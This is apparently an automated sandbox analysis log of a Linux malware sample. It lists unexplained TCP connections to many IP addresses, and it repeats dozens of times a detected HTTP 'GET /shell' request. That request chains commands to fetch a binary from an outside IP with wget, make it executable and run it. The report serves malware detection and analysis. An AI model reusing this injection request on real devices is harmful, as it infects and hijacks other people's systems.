Source: unknown	TCP traffic detected without corresponding DNS query: 201.47.82.243
Source: unknown	TCP traffic detected without corresponding DNS query: 163.140.24.2
Source: unknown	TCP traffic detected without corresponding DNS query: 75.240.240.117
Source: unknown	TCP traffic detected without corresponding DNS query: 40.89.53.178
Source: unknown	TCP traffic detected without corresponding DNS query: 72.100.199.25
Source: unknown	TCP traffic detected without corresponding DNS query: 145.66.170.212
Source: unknown	TCP traffic detected without corresponding DNS query: 43.13.225.229
Source: unknown	TCP traffic detected without corresponding DNS query: 138.1.123.135
Source: unknown	TCP traffic detected without corresponding DNS query: 89.76.0.231
Source: unknown	TCP traffic detected without corresponding DNS query: 72.187.244.43
Source: unknown	TCP traffic detected without corresponding DNS query: 184.167.145.52
Source: unknown	TCP traffic detected without corresponding DNS query: 222.148.19.116
Source: unknown	TCP traffic detected without corresponding DNS query: 196.65.168.167
Source: unknown	TCP traffic detected without corresponding DNS query: 4.161.30.32
Source: unknown	TCP traffic detected without corresponding DNS query: 68.140.167.253
Source: unknown	TCP traffic detected without corresponding DNS query: 160.181.217.108
Source: unknown	TCP traffic detected without corresponding DNS query: 57.118.49.254
Source: unknown	TCP traffic detected without corresponding DNS query: 80.196.133.136
Source: unknown	TCP traffic detected without corresponding DNS query: 129.123.171.139
Source: unknown	TCP traffic detected without corresponding DNS query: 115.116.75.75
Source: unknown	TCP traffic detected without corresponding DNS query: 79.192.176.15
Source: unknown	TCP traffic detected without corresponding DNS query: 124.188.25.45
Source: unknown	TCP traffic detected without corresponding DNS query: 88.240.92.22

Source: syslog.284.dr

String found in binary or memory: https://www.rsyslog.com

Source: unknown

DNS traffic detected: queries for: daisy.ubuntu.com

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
